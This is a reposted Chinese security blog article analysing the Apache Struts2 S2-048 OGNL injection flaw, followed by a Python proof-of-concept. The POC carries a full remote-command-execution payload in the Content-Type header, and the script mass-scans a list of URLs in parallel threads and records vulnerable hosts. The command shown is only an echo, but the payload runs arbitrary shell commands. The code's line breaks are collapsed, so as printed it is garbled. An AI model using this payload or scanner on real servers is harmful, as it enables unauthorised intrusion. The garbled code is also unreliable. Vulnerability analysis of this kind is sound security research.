標籤:

Struts2高危漏洞S2-048分析(附POC)【轉】

本次漏洞觸發點在:

org.apache.struts2.s1.Struts1Action.execute() 方法中,如下圖所示。

org.apache.struts2.s1.Struts1Action 類為一個 Wrapper 類,用於將 Struts1 時代的 Action 包裝成為 Struts2 中的 Action,以讓它們在 struts2 框架中繼續工作。

在 Struts1Action 的 execute 方法中,會調用對應的 Struts1 Action 的 execute 方法(第一個紅色箭頭處)。在調用完後,會檢查 request 中是否設置了 ActionMessage,如果是,則將會對 action messages 進行處理並回顯給客戶端。處理時使用了 getText 方法,這裡就是漏洞的觸發點。所以漏洞的觸發條件是:在 struts1 action 中,將來自客戶端的參數值設置到了 action message 中。

在官方提供的 Showcase 中,就存在漏洞,如下圖:

getText 方法的主要作用就是實現網站語言的國際化,它會根據不同的 Locale 去對應的資源文件裡面獲取相關文字信息(這些文件信息一般保存在 .properties 文件中),這些文字信息往往會回顯至客戶端。

Action messages 會通過 getText 方法最終進入 com.opensymphony.xwork2.util.LocalizedTextUtil.getDefaultMessage(String, Locale, ValueStack, Object[], String) 方法,如下:

此方法會將 action message 傳入 com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack)。com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack) 方法主要用於擴展字元串中由 ${} 或 %{} 包裹的 OGNL 表達式,這裡也就是 OGNL 的入口,隨後 action message 將進入 OGNL 的處理流程,漏洞被觸發。

關於 POC

# -*- encoding: utf-8 -*-# !/usr/bin/env python# desc: Struts-048# link: bobao.360.cn/learning/d

#Coming F11

import urllib2from poster.encode import multipart_encodefrom poster.streaminghttp import register_openersimport threadingdef poc(url):register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#szgx=multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=echo dota).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}"try:request = urllib2.Request(url,datagen,headers=header)response = urllib2.urlopen(request,timeout=5)body=response.read()except:body=""if "dota" in body:print "[*]發現Struts 048漏洞,地址為:",urlf.write(url+"
")if __name__=="__main__":f=open("result.txt","a")url_list=[i.replace("
","") for i in open("url.txt","r").readlines()]for url in url_list:threading.Thread(target=poc,args=(url,)).start()while 1:if(len(threading.enumerate())<50):break

總結

該漏洞觸發需要非默認插件 struts2-struts1-plugin

需要手動尋找程序中將客戶端參數值添加入 action message 的點

本文由 安全客 原創發布,如需轉載請註明來源及本文地址。本文地址:bobao.360.cn/learning/d


推薦閱讀:

2018新型勒索病毒肆虐,我被要求支付1200美金解鎖,懟了一夜之後,放棄治療了。
政府默許黑客猖狂,朝鮮2017年竊取多達1.1萬個比特幣
Win提權思路,方法,工具(小總結)
兩名90後「黑客」 敲詐網吧被抓

TAG:黑客攻擊 |